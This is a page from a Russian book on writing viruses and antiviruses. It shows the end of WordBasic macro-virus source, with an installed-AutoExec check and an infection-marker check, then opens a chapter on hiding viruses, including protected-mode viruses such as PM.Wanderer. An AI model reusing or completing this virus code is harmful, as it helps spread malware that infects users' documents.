Создаем вирус и антивирус (Гульев) - страница 39

’При положительном результате проверки установим ее в 1

Installed=0

’Проверим, есть ли макросы

If CountMacros(0) > 0 Then

’Проверим имена макросов. Если есть AutoExec,

’установим переменную Installed в 1

For i=1 To CountMacros(0)

If MacroName$(i, 0)=”AutoExec” Then

Installed=1

End If

Next i

End If

End Function

Function ForgetIt

ForgetIt=0

Section$=”Compatibility”

ProfilName$=”Nomvir”

BlaBla$=GetProfileString$(Section$, ProfilName$)

If BlaBla$=”0x0690690” Then

ForgetIt=1

End If

End Function

Глава 5 Маскировка вирусов

В этой главе рассказано, как может быть спрятан вирус. Описаны методы конструирования прямого обращения к DOS для «обмана» резидентных антивирусных мониторов. Рассмотрены вирусы, заражающие Flash BIOS. Представлены исходные тексты программ с подробными комментариями.

Protected Mode – укрытие для вируса

Персональные компьютеры год от года становятся все сложнее и сложнее, используют все более высокие аппаратные и программные технологии. Компьютерные вирусы тоже не отстают и пытаются приспособиться к новым условиям обитания. Так, вирусы научились заражать загрузочные сектора дисков, файлы для операционных систем DOS, Windows, Windows 95, OS/2, Linux и даже документы Word, Excel и MS-Office 97. Скрывая свое присутствие в системе, они стали невидимками, или стелс-вирусами. Они научились быть полиморфными для того, чтобы их распознавание стало еще более трудной задачей для разработчиков антивирусных средств. С появлением процессоров i386 вирусы стали использовать в своем коде 32-разрядные инструкции. В настоящее время полиморфные вирусы используют 32-разрядные расшифровывающие команды в своем декрипторе.

Одним словом, вирусы хотят выжить и победить. Для этого они используют все новые возможности, как программные, так и аппаратные. Но защищенный режим работы, появившийся вместе с процессором i286, до недавнего времени вирусам никак не удавалось «приручить». Вернее, были «пробы пера», но реального решения этой задачи они не дали.

Загрузочный вирус PMBS, первым пытавшийся освоить защищенный режим (1994 г.), не мог ужиться ни с одной программой или драйвером (EMM386, Windows, OS/2,…), которые также использовали в своей работе защищенный режим. Вирусы Evolution.2761 и Evolution.2770 (тоже 1994 г.) использовали только часть мощного защищенного режима и только в то время, когда процессор работал в реальном режиме. Данные вирусы заменяли реальную таблицу векторов прерываний на собственную.

Но вот, похоже, проблема близка к разрешению: в России в «диком» виде обнаружен файловый вирус PM.Wanderer, использующий защищенный режим. Причем он более или менее корректно и стабильно взаимодействует с другими программами и драйверами, также использующими защищенный режим.